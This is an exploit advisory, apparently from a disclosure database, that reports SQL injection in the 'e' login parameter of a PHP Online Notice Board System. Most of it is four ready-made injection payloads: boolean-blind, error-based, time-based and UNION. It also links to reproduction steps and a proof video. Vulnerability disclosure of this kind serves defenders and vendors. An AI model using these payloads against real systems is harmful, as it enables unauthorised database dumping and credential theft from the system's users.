Exploit/Advisories

## Title: ONLINE-NOTICE-BOARD-2022 SQLi
## Author: nu11secur1ty
## Date: 09.09.2022
## Vendor: https://www.sourcecodester.com/users/razormist
## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022

## Description:
The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears to
be vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this system and
he can use it for very malicious purposes.
NOTE: The users of this system are NOT protected, this SQL
vulnerability is CRITICAL!

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: e (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: e=MfbByvbe@glupakarazormist.net' OR NOT 5051=5051#
Wypj&p=h8F!c4q!L9&save=Login

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: e=MfbByvbe@glupakarazormist.net' OR (SELECT 8344
FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT
(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: e=MfbByvbe@glupakarazormist.net' AND (SELECT 8661 FROM
(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login

Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: e=MfbByvbe@glupakarazormist.net' UNION ALL SELECT
NULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)

## Proof and Exploit:
[href](https://streamable.com/4u9diy)

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